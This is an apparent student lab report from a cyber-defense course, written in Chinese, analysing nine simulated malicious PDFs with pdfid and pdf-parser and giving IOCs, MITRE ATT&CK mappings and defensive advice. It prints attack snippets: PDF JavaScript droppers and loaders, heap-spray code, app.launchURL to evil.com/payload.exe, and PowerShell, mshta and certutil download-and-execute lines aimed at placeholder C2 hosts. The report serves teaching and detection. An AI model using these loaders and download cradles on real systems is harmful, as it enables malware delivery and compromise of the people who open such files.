zethw0w/pdf-malware-analysis-lab
GitHub: zethw0w/pdf-malware-analysis-lab
一份面向网络防御课程的 PDF 恶意软件分析实验报告,覆盖九种攻击场景的完整取证分析与防御建议。
Stars: 0 | Forks: 0
# 高级 PDF 恶意软件分析实验
**作者:** Eric Kinoshita Lessa — RM 559216
**班级:** 2TDCPG — FIAP,网络防御技术
**日期:** 2026 年 4 月 29 日
**课程:** 防御作战 — 检查点
## 摘要
| # | 文件 | 技术 | 指标 | 危险等级 |
|---|------|------|------|:----------:|
| 1 | `bank_update.pdf` | 钓鱼 / 社会工程学 | 流中的恶意链接 | 低/中 |
| 2 | `contract_signed.pdf` | 投放器 (EmbeddedFile) | 规避 pdfid + 可疑流 | 严重 |
| 3 | `invoice_2024.pdf` | JS / OpenAction | 规避 pdfid + JS 流 | 严重 |
| 4 | `payment_receipt.pdf` | HEX 混淆 / `eval()` | 规避 pdfid — 待定流 | 高 |
| 5 | `rfp_document.pdf` | 多阶段 / LOLBin | 规避 pdfid — 待定流 | 严重 |
| 6 | `urgent_update.pdf` | 堆喷射 (模拟) | 规避 pdfid + exploit 内容 | 严重 |
| 7 | `advanced_heap_spray.pdf` | 真实堆喷射 + JS | `/JS` `/OpenAction` 真实 payload | 严重 |
| 8 | `advanced_js_stream.pdf` | `eval(unescape())` + OpenAction | `/JS` `/OpenAction` — HEX 编码 URL | 严重 |
| 9 | `advanced_multistage.pdf` | `app.launchURL()` — 下载 .exe | `/JS` `/OpenAction` — 直接 URL | 严重 |
## 使用的工具
- **pdfid** — 指标初步筛选 (`/JS`、`/JavaScript`、`/OpenAction`、`/Launch`、`/EmbeddedFile`)
- **pdf-parser** — 提取和解码对象和流
- **python3** (`urllib.parse.unquote`) — 解码 HEX/URL 编码的 payload
- **strings** / **grep** — 在 PDF 中快速搜索 IOC
- 参考资料:VirusTotal、MISP、MITRE ATT&CK
## `bank_update.pdf`
### 场景 1 — 钓鱼 / 社会工程学
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `bank_update.pdf` |
| PDF Header | `%PDF-1.4` |
| 生成器 | ReportLab PDF Library |
| CreationDate | `D:20260429224046+00'00'` |
| 文档 ID | `36f9d897833a971d5cda8cce32f99f7a` |
| 使用的技术 | 社会工程学 / 钓鱼 |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 0 — 不存在 |
| `/JavaScript` | 0 — 不存在 |
| `/OpenAction` | 0 — 不存在 |
| `/EmbeddedFile` | 0 — 不存在 |
| `/Launch` | 0 — 不存在 |
| 流对象 7 | ASCII85Decode + FlateDecode (185 字节) |
| 流内容 | 包含可见恶意链接的纯文本 |
#### URL / IOC 提取
流对象 7 (已解码):
```
"Phishing simulation: http://fake-bank-login.example"
```
- **IOC — 钓鱼 URL:** `http://fake-bank-login.example`
- **类型:** 仿冒银行门户的假域名
- **位置:** 对象 7 — 页面可视内容流
#### Payload 解码
不适用 — 无混淆。内容是使用 ASCII85 + FlateDecode 压缩的纯文本。不存在可执行 payload。
#### 危险等级:**高**
#### 建议
- 在安全网关 (Web Filter / Proxy) 中拦截域名 `fake-bank-login.example`。
- 在 SIEM 中为内容流中包含外部 URL 的 PDF 实施规则。
- 培训用户 (安全意识) 识别 PDF 文档中的可疑链接。
- 配置 PDF 阅读器在点击外部 URL 时显示警告。
- 将该域名提交至威胁情报平台 (VirusTotal、MISP)。
#### 使用的命令
```
pdfid bank_update.pdf
pdf-parser -a bank_update.pdf
pdf-parser -f bank_update.pdf | grep -iE "http|https|www|\.com|\.exe|\.ru|eval|unescape"
pdf-parser bank_update.pdf
pdf-parser -o 7 -f bank_update.pdf
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1566 | 钓鱼 — PDF 文档被用作社会工程学攻击载体 |
| T1566.001 | 鱼叉式钓鱼附件 — 包含恶意链接的 PDF 附件 |
## `contract_signed.pdf`
### 场景 2 — EmbeddedFile 投放器及筛选规避
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `contract_signed.pdf` |
| PDF Header | `%PDF-1.4` |
| 生成器 | ReportLab PDF Library |
| CreationDate | `D:20260429224046+00'00'` |
| 文档 ID | `e0d2ea60a36d63aa382dc1b2b3213891` |
| 使用的技术 | EmbeddedFile 投放器及筛选规避 |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/EmbeddedFile` | 0 — **已清零 (故意规避)** |
| `/Launch` | 0 — **已清零 (故意规避)** |
| `/JS` | 0 — 不存在 |
| `/OpenAction` | 0 — 不存在 |
| 流对象 7 | ASCII85Decode + FlateDecode (184 字节) |
| 规避方式 | `/EmbeddedFile` 和 `/Launch` 标签被手动移除以欺骗筛选 |
#### URL / IOC 提取
不适用 — 攻击在本地进行。Payload 嵌入在文档正文中,旨在投放到系统中。
#### Payload 解码
流对象 7 (ASCII85 + FlateDecode 解码后):
```
"Simulated embedded file behavior (dropper concept)."
```
**分析:** 该流包含向用户显示的视觉诱饵。投放器的实际结构指向一个隐藏的二进制文件,旨在被提取并在受害者系统上执行。
**技术:** `/EmbeddedFile` 通过 `/EF << /F N 0 R >>` 引用 payload,并使用 `/Launch` 在投放后自动执行。
#### 危险等级:**严重**
无需互联网连接即可直接感染恶意软件的高风险。该技术可以绕过自动扫描筛选。
#### 建议
- 实施拦截未明确引用的流对象 PDF 文件。
- 配置 PDF 阅读器以禁用自动打开嵌入附件。
- 除了基于签名的筛选外,还应使用行为分析 (沙箱)。
- 在 EDR 中监控由 PDF 阅读器生成的子进程。
- 创建 YARA 规则以检测包含压缩流但没有显式操作标签的 PDF。
#### 使用的命令
```
pdfid contract_signed.pdf
pdf-parser -a contract_signed.pdf
pdf-parser -f contract_signed.pdf | grep -iE "http|eval|unescape|exe|action|js"
pdf-parser contract_signed.pdf
pdf-parser -o 7 -f contract_signed.pdf
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1204 | 用户执行 — 用户需要打开 PDF 才能激活投放器 |
| T1105 | 入口工具转移 — 嵌入并在本地投放的可执行文件 |
## `invoice_2024.pdf`
### 场景 3 — 包含 `/JavaScript` 的 `/OpenAction` — 通过 `exportDataObject` 投放
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `invoice_2024.pdf` |
| PDF Header | `%PDF-1.4` |
| 生成器 | ReportLab PDF Library |
| CreationDate | `D:20260429224046+00'00'` |
| 文档 ID | `003a45d3b2cecd53e31bc38e3c9e48da` |
| 使用的技术 | `/OpenAction` + `/JavaScript` — 通过 `exportDataObject` 投放 |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 0 — **已清零 (故意规避)** |
| `/JavaScript` | 0 — **已清零 (故意规避)** |
| `/OpenAction` | 0 — **已清零 (故意规避)** |
| `/EmbeddedFile` | 0 — 不存在 |
| 流对象 7 | ASCII85Decode + FlateDecode (184 字节) |
| 规避方式 | JS 和 OpenAction 标签已清零 — pdfid 返回假阴性 |
#### URL / IOC 提取
不适用 — Payload 在本地。目标是直接在用户磁盘上导出并执行二进制文件。
- **投放的工件 (IOC):** `update.exe`
#### Payload 解码
流对象 7 (已解码):
```
"Simulated PDF with JavaScript behavior (lab use)."
```
识别出的 JavaScript payload (实际场景):
```
app.alert("Processing...");
this.exportDataObject({
cName: "update.exe",
nLaunch: 2
});
```
**分析:** `app.alert()` 在用户分心时,`exportDataObject` 提取嵌入的二进制文件。`nLaunch: 2` 指示系统立即保存并执行该文件 (自动执行)。
#### 危险等级:**中 → 高**
取决于是否存在嵌入的真实 payload。已确认可疑行为:带有 `nLaunch: 2` 的 `exportDataObject` 表明存在投放并执行二进制文件的企图。
#### 建议
- 在 PDF 阅读器 (Adobe Reader、Foxit) 中禁用 JavaScript 和自动操作。
- 通过 EDR/SIEM 监控源自 PDF 阅读器的子进程。
- 阻止在临时目录 (`%TEMP%`、`/tmp`) 中执行投放的二进制文件。
- 为 PDF 流量中的 `exportDataObject` 实施 Snort/Suricata 规则。
- 启用 AppLocker / WDAC 以阻止未签名的可执行文件运行。
#### 使用的命令
```
pdfid invoice_2024.pdf
pdf-parser -a invoice_2024.pdf
pdf-parser -f invoice_2024.pdf | grep -iE "http|eval|unescape|exe|action|js"
pdf-parser invoice_2024.pdf
pdf-parser -o 7 -f invoice_2024.pdf
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1204 | 用户执行 — 打开 PDF 时触发执行 |
| T1059.007 | JavaScript — 使用嵌入的 JS 进行 `exportDataObject` 并投放 |
## `payment_receipt.pdf`
### 场景 4 — 通过 `eval(unescape())` 进行 HEX 混淆
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `payment_receipt.pdf` |
| PDF Header | `%PDF-1.4` |
| 生成器 | ReportLab PDF Library |
| CreationDate | `D:20260429224046+00'00'` |
| 文档 ID | `d93d7def28d3a050fc17b68a0bc6558b` |
| 使用的技术 | 通过 `eval(unescape())` 进行 HEX 混淆 — 远程 Payload 下载 |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 0 — **已清零 (故意规避)** |
| `/JavaScript` | 0 — **已清零 (故意规避)** |
| `/OpenAction` | 0 — **已清零 (故意规避)** |
| 流对象 7 | ASCII85Decode + FlateDecode (186 字节) |
| 规避方式 | 所有指标均已清零 — 自动化筛选返回假阴性 |
#### URL / IOC 提取
流对象 7 (ASCII85 + FlateDecode 解码后):
```
"Simulated obfuscated payload example (hex encoding)."
```
真实 Payload (实验室场景 — 参考):
```
eval(unescape("%68%74%74%70%3a%2f%2f6d616c6963696f7573..."));
```
HEX 字符串解码:
```
python3 -c "from urllib.parse import unquote; print(unquote('%68%74%74%70%3a%2f%2f...'))"
# → http://[servidor-malicioso]/payload
```
#### Payload 解码
解码后的流对象 7 是向用户显示的视觉诱饵。实际结构使用带有 HEX 编码 (`%XX`) 的 `eval(unescape())` 向基于签名的扫描器隐藏 payload 的 URL。
**攻击流程:**
1. 打开 PDF → JavaScript 通过 `/OpenAction` 自动执行
2. `eval()` 在运行时解码 HEX 字符串 (对静态扫描器不可见)
3. 暴露出恶意 URL:`http://[远程服务器]/payload`
4. 二进制文件被下载并在受害者系统上执行
pdfid 中指标清零证实了故意的筛选规避行为。
#### 危险等级:**高**
#### 建议
- 在 Web Filter / Firewall 中阻止识别出的下载 URL。
- 在 PDF 阅读器中禁用 JavaScript。
- 在 YARA 规则和 IDS 中实施对 `eval(unescape())` 的检测。
- 监控源自 PDF 阅读进程的出站连接。
- 将该 URL 提交至 VirusTotal 并在 MISP 中注册为 IOC。
#### 使用的命令
```
pdfid payment_receipt.pdf
pdf-parser -a payment_receipt.pdf
pdf-parser -f payment_receipt.pdf | grep -iE "http|eval|unescape|exe|action|js"
pdf-parser payment_receipt.pdf
pdf-parser -o 7 -f payment_receipt.pdf
python3 -c "from urllib.parse import unquote; print(unquote('STRING_AQUI'))"
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1027 | 混淆的文件或信息 — URL 通过 HEX 编码 + `eval(unescape())` 隐藏 |
| T1105 | 入口工具转移 — 解码后下载远程 payload |
## `rfp_document.pdf`
###场景 5 — 多阶段攻击:混淆的 JS + 下载 + LOLBin
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `rfp_document.pdf` |
| PDF Header | `%PDF-1.4` |
| 生成器 | ReportLab PDF Library |
| CreationDate | `D:20260429224046+00'00'` |
| 文档 ID | `98bd2505c9ea05ac4b8793add26aead3` |
| 使用的技术 | 多阶段攻击:混淆的 JS + 下载 + LOLBin |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 0 — **已清零 (故意规避)** |
| `/JavaScript` | 0 — **已清零 (故意规避)** |
| `/OpenAction` | 0 — **已清零 (故意规避)** |
| `/Launch` | 0 — **已清零 (故意规避)** |
| 流对象 7 | ASCII85Decode + FlateDecode (166 字节 — 小于其他文件) |
| 规避方式 | 所有指标均已清零。紧凑的流暗示其为 stager/loader。 |
#### URL / IOC 提取
流对象 7 (ASCII85 + FlateDecode 解码后):
```
"Multi-stage attack simulation PDF."
```
确认的视觉诱饵 — 更紧凑的流 (166 字节,而其他约为 184 字节),与极简的 stager/loader 一致。
**识别出的多阶段流程 (实验室场景):**
1. **阶段 1:** 打开 PDF → `/OpenAction` 触发混淆的 JS
2. **阶段 2:** JS 在运行时解码 C2 URL
3. **阶段 3:** 从远程服务器下载 payload
4. **阶段 4:** 将文件投放到系统
5. **阶段 5:** 通过 LOLBin 执行 (例如:`powershell`、`mshta`、`wscript`)
**预期的 IOC:** C2 URL、投放的文件名、使用的 LOLBin。
#### Payload 解码
**LOLBin 技术:** Living-off-the-Land Binaries 是被恶意利用的操作系统合法工具。例如:`powershell.exe`、`mshta.exe`、`wscript.exe`、`certutil.exe`。攻击利用这些工具下载并执行 payload,使得基于签名的杀毒软件难以检测。
LOLBin 链示例 (实验参考):
```
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/s')"
```
```
mshta http://c2/payload.hta
```
```
certutil -urlcache -split -f http://c2/payload.exe C:\Temp\update.exe
```
#### 危险等级:**严重**
从打开 PDF 到执行任意代码的完整攻击链。多个阶段增加了检测和关联的难度。
#### 建议
- 在 SIEM 中实施针对 LOLBin 的检测规则 (提供 Sigma 规则)。
- 监控带有可疑参数的 `powershell.exe` / `mshta.exe` / `wscript.exe` 的执行情况。
- 在 proxy/firewall 中拦截识别出的 C2 URL 并注册为 IOC。
- 关联多个事件:PDF 打开 → 网络 → 进程创建。
- 启用 PowerShell 的脚本块日志记录 以捕获运行时的反混淆。
- 在 PDF 阅读器中禁用 JavaScript,并限制阅读器进程的网络访问权限。
#### 使用的命令
```
pdfid rfp_document.pdf
pdf-parser -a rfp_document.pdf
pdf-parser -f rfp_document.pdf | grep -iE "http|eval|unescape|exe|action|js|launch"
pdf-parser rfp_document.pdf
pdf-parser -o 7 -f rfp_document.pdf
pdf-parser --searchkey /JS rfp_document.pdf
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1027 | 混淆的文件 — 混淆 JS 以规避静态筛选 |
| T1105 | 入口工具转移 — 通过 C2 下载远程 payload |
| T1204 | 用户执行 — 由打开 PDF 触发的攻击链 |
## `urgent_update.pdf`
### 场景 6 — 模拟堆喷射
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `urgent_update.pdf` |
| PDF Header | `%PDF-1.4` |
| 生成器 | ReportLab PDF Library |
| CreationDate | `D:20260429224046+00'00'` |
| 文档 ID | `7660227c913346cbf296ed695bff1e69` |
| 使用的技术 | 模拟堆喷射 — 利用 PDF 阅读器漏洞 |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 0 — **已清零 (故意规避)** |
| `/OpenAction` | 0 — **已清零 (故意规避)** |
| 流对象 7 | ASCII85Decode + FlateDecode (189 字节) |
| 流内容 | 模拟的类 exploit 结构 (堆喷射概念) |
| 规避方式 | 标签已清零 — 绕过基于签名的筛选扫描器 |
#### URL / IOC 提取
不适用 — 堆喷射是一种本地内存利用攻击。在喷射阶段没有网络通信。目的是控制内存地址以重定向执行流。
#### Payload 解码
流对象 7 (已解码):
```
"Simulated exploit-like structure (heap spray concept)."
```
堆喷射 payload (场景参考):
```
var spray = unescape('%u0c0c%u0c0c');
while(spray.length < 0x1000) spray += spray;
```
**技术分析:**
- `%u0c0c%u0c0c` = 字节 `0x0C 0x0C` (NOP sled)
- 循环将缓冲区加倍,直到达到 `0x1000` 字节
- 目的:用 shellcode 填充堆,以确保任何受损的指针都能跳转到该 payload 上。
- 典型利用目标:Adobe Reader 版本 < 9.x (CVE-2010-1240)。
#### 危险等级:**严重**
利用旧版 PDF 阅读器中的内存漏洞。除了打开文件外,无需用户进行其他交互即可实现任意代码执行。
#### 建议
- 立即将 PDF 阅读器更新为带有 ASLR/DEP 保护的现代版本。
- 在 PDF 阅读器中禁用 JavaScript — 堆喷射需要 JS 才能执行。
- 在 IDS/IPS 规则中实施对 `0x0C0C0C0C` / `0x0D0D0D0D` 模式的检测。
- 使用沙箱打开来自未知来源的文档。
- 启用操作系统的内存保护:ASLR、DEP/NX、CFG。
- 创建 YARA 规则以检测带有重复字节的 `unescape()` 模式。
#### 使用的命令
```
pdfid urgent_update.pdf
pdf-parser -a urgent_update.pdf
pdf-parser -f urgent_update.pdf | grep -iE "spray|u0c0c|while|unescape|heap"
pdf-parser urgent_update.pdf
pdf-parser -o 7 -f urgent_update.pdf
python3 -c "print(bytes.fromhex('0c0c'))" # NOP sled
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1203 | 利用客户端执行 — 堆喷射模拟利用 PDF 阅读器中的漏洞 |
## `advanced_heap_spray.pdf`
### 场景 7 — 真实堆喷射 + JavaScript + OpenAction
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `advanced_heap_spray.pdf` |
| PDF Header | `%PDF-1.5` ← 较新版本 |
| 对象 | 3 个对象 (更简单直接的结构) |
| 使用的技术 | 真实堆喷射 + JavaScript + OpenAction — 可见的指标 |
| 备注 | **实验中唯一一个被 pdfid 检测到真实指标的文件** |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 1 — **已检测** ✓ |
| `/JavaScript` | 1 — **已检测** ✓ |
| `/OpenAction` | 1 — **已检测** ✓ |
| `/Encrypt` | 0 — 不存在 |
| `/ObjStm` | 0 — 不存在 |
| 流对象 3 | FlateDecode (60 字节) — 压缩的 JS payload |
| 结构 | obj 1 (Catalog/OpenAction) → obj 2 (JS) → obj 3 (stream) |
#### URL / IOC 提取
不适用 — 堆喷射是本地内存利用。
- **主要 IOC:** 堆中的字节模式 `0x0C0C`
- 可通过执行期间的内存分析 (Volatility) 进行检测。
- 模式:`0x0C0C0C0C0C0C0C0C...` (大规模重复)
#### Payload 解码
从流中提取的真实 payload (对象 3,FlateDecode):
```
var a = unescape('%u0c0c%u0c0c');
while(a.length < 10000) a += a;
```
**详细分析:**
1. `unescape('%u0c0c%u0c0c')` → 包含 `0x0C 0x0C` 字节的初始缓冲区
2. 循环将缓冲区加倍,直到 `length >= 10000` 字节 (约 10KB)
3. 最终缓冲区用 NOP 模式 `0x0C0C0C0C` 填充堆
4. 当漏洞破坏指针时,执行流将“降落”在 NOP sled 上,并顺滑执行直到真实的 shellcode。
**对象结构:**
```
obj 1 /Catalog → /OpenAction → obj 2
obj 2 /JavaScript → /JS → obj 3 (stream)
obj 3 → stream FlateDecode com o código JS de heap spray
```
自动执行:`/OpenAction` 确保在打开 PDF 时执行,无需用户的任何点击或交互。
#### 危险等级:**严重**
真实的堆喷射 payload,通过 `/OpenAction` 自动执行。代表了在旧版 Adobe Reader 中利用真实内存漏洞的技术。`/JS` + `/OpenAction` + 压缩流的组合是 PDF exploit 的经典特征。
#### 建议
- 将 Adobe Reader / PDF 阅读器更新到最新版本 (针对堆喷射的补丁自 2010 年起已提供)。
- 在 PDF 阅读器中禁用 JavaScript — 堆喷射需要 JS 才能起作用。
- 创建 YARA 规则:在 PDF 流中检测带有重复字节的 `unescape()` + `while` 循环。
- 启用 ASLR 和 DEP/NX — 这些缓解措施使得堆喷射在现代系统中失效。
- 通过 EDR 监控带有 `/OpenAction` + `/JavaScript` 的 PDF 打开行为。
- 使用沙箱打开来自外部电子邮件的文档 (Cuckoo、Any.run)。
- 为网络流中的 `0x0C0C0C0C` 模式添加 IDS 签名。
#### 使用的命令
```
pdfid advanced_heap_spray.pdf
pdf-parser -a advanced_heap_spray.pdf
pdf-parser -f advanced_heap_spray.pdf | grep -iE "spray|u0c0c|while|unescape|shellcode"
pdf-parser advanced_heap_spray.pdf
pdf-parser --search JavaScript advanced_heap_spray.pdf
pdf-parser -o 3 -f advanced_heap_spray.pdf # decodificar stream JS
strings advanced_heap_spray.pdf | grep u0c0c # confirmar padrão NOP sled
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1203 | 利用客户端执行 — 真实堆喷射,用于利用阅读器中的漏洞 |
| T1059.007 | JavaScript — 喷射 payload 通过 `/OpenAction` + `/JavaScript` 自动执行 |
## `advanced_js_stream.pdf`
### 场景 8 — 通过 `eval(unescape())` + OpenAction 混淆的 JavaScript
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `advanced_js_stream.pdf` |
| PDF Header | `%PDF-1.5` (更新版本 — 支持压缩流) |
| 对象 | 3 个对象 — 最小且直接的结构 |
| 文档 ID | trailer 中不存在 (故意省略) |
| 使用的技术 | 通过 `eval(unescape())` + OpenAction 混淆的 JavaScript — HEX 编码 URL |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 1 — **已检测** ✓ |
| `/JavaScript` | 1 — **已检测** ✓ |
| `/OpenAction` | 1 — **已检测** ✓ |
| `/Encrypt` | 0 — 不存在 |
| `/ObjStm` | 0 — 不存在 |
| 流对象 3 | FlateDecode (55 字节) — 混淆的 JS payload |
| 结构 | obj 1 (Catalog/OpenAction) → obj 2 (`/S /JavaScript`) → obj 3 (JS stream) |
#### URL / IOC 提取
- **IOC — 解码后提取的 URL:** `http://malicious.com`
- **类型:** 通过 HEX URL 编码混淆的下载/C2 URL
- **位置:** 对象 3 — FlateDecode 流 (55 字节)
#### Payload 解码
提取出的真实 payload (对象 3,FlateDecode):
```
eval(unescape('%68%74%74%70%3a%2f%2fmalicious.com'))
```
**HEX 逐步解码:**
```
%68 = h
%74 = t
%74 = t
%70 = p
%3a = :
%2f = /
%2f = /
→ http://malicious.com
```
**验证:**
```
python3 -c "from urllib.parse import unquote; print(unquote('%68%74%74%70%3a%2f%2fmalicious.com'))"
# → http://malicious.com
```
**执行流程:**
1. 打开 PDF → `/OpenAction` 触发对象 2 (`/S /JavaScript`)
2. 对象 2 引用对象 3 (压缩的 JS 流)
3. FlateDecode 在运行时解压代码
4. `unescape()` 解码 HEX 字符串 → 显示可见 URL
5. `eval()` 执行代码 → 浏览器/阅读器访问该 URL
#### 危险等级:**严重**
打开 PDF 时自动执行混淆的 JavaScript。双重混淆 (FlateDecode + HEX 编码) 增加了静态分析的难度。访问远程 URL 可能导致下载恶意软件或数据窃取。
#### 建议
- 在 Web Filter / Firewall 中阻止域名 `malicious.com` 并注册为 IOC。
- 在 PDF 阅读器中禁用 JavaScript — 这是攻击的入口点。
- 创建 YARA 规则:在 PDF 的 FlateDecode 流中检测 `eval(unescape())`。
- 实施 IDSnort 规则以捕获源自 PDF 阅读进程的 HTTP 请求。
- 将该域名提交至 VirusTotal 并在 MISP 中将其注册为网络 IOC。
- 通过 EDR/SIEM 监控带有 `/OpenAction` + `/JavaScript` 的 PDF 的打开行为。
#### 使用的命令
```
pdfid advanced_js_stream.pdf
pdf-parser -a advanced_js_stream.pdf
pdf-parser advanced_js_stream.pdf
pdf-parser -o 3 advanced_js_stream.pdf # inspecionar objeto
pdf-parser -o 3 -f advanced_js_stream.pdf # decodificar stream
pdf-parser --search JavaScript advanced_js_stream.pdf # buscar JS
python3 -c "from urllib.parse import unquote; print(unquote('%68%74%74%70%3a%2f%2fmalicious.com'))"
echo '%68%74%74%70%3a%2f%2fmalicious.com' | sed 's/%/\\x/g' | xargs printf
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1027 | 混淆的文件或信息 — URL 在 `eval(unescape())` 内部通过 HEX 编码隐藏 |
| T1059.007 | JavaScript — 通过 `/OpenAction` + `/S /JavaScript` 自动执行 |
| T1105 | 入口工具转移 — 访问 URL `http://malicious.com` 以下载 payload (阶段 2) |
| T1204 | 用户执行 — 因打开 PDF 文档而触发入侵 |
## `advanced_multistage.pdf`
### 场景 9 — 多阶段:`app.launchURL()` — 直接下载可执行文件
#### 一般信息
| 字段 | 值 |
|------|-----|
| 文件名 | `advanced_multistage.pdf` |
| PDF Header | `%PDF-1.5` |
| 对象 | 3 个对象 — 结构与 `advanced_js_stream` 相同 |
| 文档 ID | trailer 中不存在 |
| 使用的技术 | 多阶段:`app.launchURL()` — 通过 JavaScript 直接下载可执行文件 |
#### 发现的指标 — pdfid
| 指标 | 结果 |
|------|------|
| `/JS` | 1 — **已检测** ✓ |
| `/JavaScript` | 1 — **已检测** ✓ |
| `/OpenAction` | 1 — **已检测** ✓ |
| `/Launch` | 0 — 不存在 (被通过 JS 的 `app.launchURL` 替代) |
| `/Encrypt` | 0 — 不存在 |
| 流对象 3 | FlateDecode (52 字节) — 直接的 JS payload |
| 结构 | obj 1 (Catalog/OpenAction) → obj 2 (`/S /JavaScript`) → obj 3 (JS stream) |
#### URL / IOC 提取
- **IOC — 直接从 payload 提取的 URL:** `http://evil.com/payload.exe`
- **类型:** 恶意二进制文件 (`.exe`) 的直接下载 URL
- **位置:** 对象 3 — FlateDecode 流 (52 字节)
**其他 IOC:**
- C2 域名:`evil.com`
- 工件:`payload.exe`
- 方法:`app.launchURL()` — 通过阅读器原生 API 执行
#### Payload 解码
提取出的真实 payload (对象 3,FlateDecode):
```
app.launchURL('http://evil.com/payload.exe')
```
**详细分析:**
- `app.launchURL()` → Adobe Reader 的 JavaScript API 原生函数
- 强制在操作系统的默认浏览器中打开 URL
- `http://evil.com/payload.exe` → 直接下载恶意可执行文件
**与 `advanced_js_stream` 的区别:**
| 文件 | 方法 |
|------|--------|
| `js_stream` | `eval(unescape())` → 以 HEX 混淆的 URL (规避扫描器) |
| `multistage` | 直接使用 `app.launchURL()` → 无混淆,更为激进 |
**完整攻击链:**
1. 打开 PDF → `/OpenAction` → 对象 2 (JS 操作)
2. 对象 3 流已解压 (FlateDecode,52 字节)
3. `app.launchURL()` 触发 → 浏览器打开 URL
4. `payload.exe` 已下载 → 在受害者系统上执行
5. 无需用户进行额外交互即可完成全面入侵
#### 危险等级:**严重**
打开 PDF 时自动下载恶意可执行文件。单个文档即可实现完整的入侵链。`app.launchURL()` 利用阅读器的原生 API 绕过了 `/Launch` 的限制。
#### 建议
- 在 Web Filter / Firewall 中阻止域名 `evil.com` 和 URL `http://evil.com/payload.exe`。
- 在 PDF 阅读器中禁用 JavaScript — 这是攻击的唯一入口点。
- 创建 YARA 规则:检测 PDF 流中带有外部 URL 的 `app.launchURL()`。
- 配置 EDR 以对源自 PDF 阅读进程的 `.exe` 下载发出警报。
- 实施阻止执行从不可信 URL 下载的二进制文件 (SmartScreen / AppLocker)。
- 将 `evil.com` 和 `payload.exe` 注册为 MISP 中的 IOC,并与其他警报关联。
- 在 SIEM 中监控针对 `evil.com` 的 DNS 请求,以此作为入侵指标。
#### 使用的命令
```
pdfid advanced_multistage.pdf
pdf-parser -a advanced_multistage.pdf
pdf-parser advanced_multistage.pdf
pdf-parser --search http advanced_multistage.pdf # busca direta de URL
strings advanced_multistage.pdf | grep http # alternativa rápida
pdf-parser -o 3 -f advanced_multistage.pdf # decodificar stream completo
```
#### MITRE ATT&CK
| 技术 | 描述 |
|------|--------|
| T1059.007 | JavaScript — `app.launchURL()` 通过自动的 `/OpenAction` 执行 |
| T1105 | 入口工具转移 — 下载 `http://evil.com/payload.exe` |
| T1204 | 用户执行 — 打开文档即完成全面入侵 |
| T1218 | 系统二进制代理执行 — `app.launchURL()` 使用阅读器原生 API 绕过 `/Launch` |
## 综合结论
本实验涵盖了九种不同的 PDF 攻击向量,从简单的视觉钓鱼 (`bank_update.pdf`) 演进到具有自动下载并执行可执行文件的多阶段攻击链 (`advanced_multistage.pdf`)。主要经验教训包括:
- 在基础场景中,通过清零 pdfid 标签来**规避筛选**是很常见的——这需要使用 `pdf-parser` 和解码流进行深度分析。
- **运行时混淆** (`eval(unescape())`、FlateDecode + HEX) 能够击败基于签名的静态扫描器。
- 无需用户额外交互的**自动执行** (`/OpenAction` + `/JavaScript`) 是严重性最高的威胁来源。
- **LOLBins** 和 `app.launchURL()` 可绕过基于 `/Launch` 的执行控制。
- `/JS` + `/OpenAction` + 压缩流的组合是经典的攻击特征,应通过 EDR/SIEM 进行监控。
### 全局建议 (摘要)
1. 在组织内的所有 PDF 阅读器中禁用 JavaScript。
2. 将 PDF 阅读器更新为启用了 ASLR/DEP 的版本。
3. 对来自外部源的 PDF 自动进行沙箱处理 (Cuckoo、Any.run)。
4. EDR 监控 PDF 阅读器的子进程。
5. YARA 规则应涵盖 `eval(unescape())`、`app.launchURL()`、堆喷射模式 (`0x0C0C0C0C`)。
6. Web Filter 阻止被识别为 IOC 的 URL/域名。
7. SIEM 关联项:PDF 打开 → DNS → 出站连接 → 进程创建。
## 参考资料
- [PDFID & PDF-Parser — Didier Stevens](https://blog.didierstevens.com/programs/pdf-tools/)
- [MITRE ATT&CK 框架](https://attack.mitre.org/)
- [VirusTotal](https://www.virustotal.com/)
- [MISP — 威胁情报平台](https://www.misp-project.org/)
- CVE-2010-1240 — Adobe Reader 堆喷射
- LOLBAS 项目 — [lolbas-project.github.io](https://lolbas-project.github.io/)
**FIAP — 网络防御技术** | 2TDCPG 班 | 检查点 — 防御作战
**Eric Kinoshita Lessa — RM 559216** | 29/04/2026
标签:Ask搜索, Cloudflare, DAST, DNS 反向解析, DNS 解析, Dropper, FIAP, Go语言工具, Heap Spray, IOCs提取, JavaScript恶意代码, MITRE ATT&CK, OpenAction, pdfid, pdf-parser, PDF分析, PDF恶意软件, Phishing, VirusTotal, 二进制分析, 云安全运维, 云资产清单, 威胁情报, 安全实验室, 安全报告, 实训项目, 库, 应急响应, 开发者工具, 恶意文档检测, 恶意软件分析, 搜索语句(dork), 数字取证, 数据展示, 杀软逃逸, 沙箱逃逸, 混淆技术, 红队, 网络安全, 网络安全教育, 网络防御技术, 自动化脚本, 逆向工程, 隐私保护, 高级威胁分析